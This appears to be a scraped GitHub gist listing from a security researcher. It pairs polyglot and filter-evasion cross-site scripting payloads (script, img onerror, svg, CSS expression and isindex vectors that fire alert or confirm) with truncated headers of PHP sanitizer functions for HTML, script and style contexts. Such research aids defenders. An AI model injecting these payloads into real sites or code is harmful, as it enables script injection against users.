Ashar Javed soaj1664

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></| \><plaintext/onmouseover=prompt(1)>"><script>alert(document.domain) </script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-- >"></script><script>alert(1) </s
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></| \><plaintext/onmouseover=prompt(1)>"><script>alert(document.domain) </script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-- >"></script><script>alert(1) </s
http://xssplayground.net23.net/xss"onmouseover="alert(1);%20imagefile.svg

soaj1664 / test1.svg

Created May 21, 2017 10:29

Sorry, something went wrong. Reload?

Sorry, we cannot display this file.

Sorry, this file is invalid so it cannot be displayed.

soaj1664 / XSS Protection in 5 common contexts

Last active September 8, 2022 07:01

Per-Context Sanitizer Functions

	<?php

	/**
	* XSS protection function for HTML context only
	* @usecases
	* <title>use this function if output reflects here or as a content of any HTML tag.</title>
	* e.g., <span>use this function if output reflects here</span>
	* e.g., <div>use this function if output reflects here</div>
	* @description
	* Sanitize/Filter < and > so that attacker can not leverage them for JavaScript execution.

soaj1664 / gist:c5c19d73202da349925a

Created October 7, 2014 07:18

ScriptContextCleaner Function

	<!--
	/**
	* XSS protection function for script context only
	* @usecases
	* @double quoted JavaScript string literal case e.g.,
	* <script> var searchquery = "use this function if output reflects here"; </script>
	* @single quoted JavaScript string literal case e.g.,
	* <script> var searchquery = 'use this function if output reflects here'; </script>
	* < is filtered because an attacker can prematuraley closes the script block
	* @description

soaj1664 / gist:1c40e52c7a8f78981623

Created October 6, 2014 13:12

StyleContextCleaner Function

	<!--
	/**
	* XSS protection function for style context only
	* @usecases
	* @double quoted case e.g.,
	* <span style="use this function if output reflects here"></span>
	* @single quoted case e.g.,
	* <div style='use this function if output reflects here'></div>
	* OR <style>use this function if output reflects here</style>
	* @description

soaj1664 / gist:10488000

Created April 11, 2014 17:55

`xss <javascript:alert%28location%29>`_

soaj1664 / xss attack vectors

Created March 16, 2014 19:46

	<div style="color:rgb(''x:expression(alert(1))"></div>

	<img/src=%00 id=confirm(1) onerror=eval(id)

	<div id=confirm(1) onmouseover=eval(id)>X</div>

	<span/onmouseover=confirm(1)>X</span>

	<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))